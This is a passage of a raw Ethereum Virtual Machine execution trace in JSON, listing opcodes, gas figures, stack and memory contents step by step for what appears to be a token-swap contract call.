11efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15395,"op":"PUSH2","gas":106370,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0xc50dfd48a20630e6","0x0","0x3c55","0x1a0","0x2bda54fce7dbfc916a32","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15398,"op":"JUMPI","gas":106367,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0xc50dfd48a20630e6","0x0","0x3c55","0x1a0","0x2bda54fce7dbfc916a32","0x1","0x3666"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":13926,"op":"JUMPDEST","gas":106357,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0xc50dfd48a20630e6","0x0","0x3c55","0x1a0","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":13927,"op":"SWAP2","gas":106356,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0xc50dfd48a20630e6","0x0","0x3c55","0x1a0","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":13928,"op":"SWAP1","gas":106353,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0xc50dfd48a20630e6","0x0","0x2bda54fce7dbfc916a32","0x1a0","0x3c55"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":13929,"op":"POP","gas":106350,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0xc50dfd48a20630e6","0x0","0x2bda54fce7dbfc916a32","0x3c55","0x1a0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":13930,"op":"JUMP","gas":106348,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0xc50dfd48a20630e6","0x0","0x2bda54fce7dbfc916a32","0x3c55"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15445,"op":"JUMPDEST","gas":106340,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0xc50dfd48a20630e6","0x0","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15446,"op":"SWAP1","gas":106339,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0xc50dfd48a20630e6","0x0","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15447,"op":"POP","gas":106336,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15448,"op":"SWAP3","gas":106334,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15449,"op":"POP","gas":106331,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x2bda54fce7dbfc916a32","0x180","0xc50dfd48a20630e6","0x1c0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15450,"op":"SWAP3","gas":106329,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x2bda54fce7dbfc916a32","0x180","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15451,"op":"SWAP1","gas":106326,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x180","0x2229"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15452,"op":"POP","gas":106323,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2229","0x180"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15453,"op":"JUMP","gas":106321,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2229"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8745,"op":"JUMPDEST","gas":106313,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8746,"op":"SWAP1","gas":106312,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8747,"op":"SWAP7","gas":106309,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4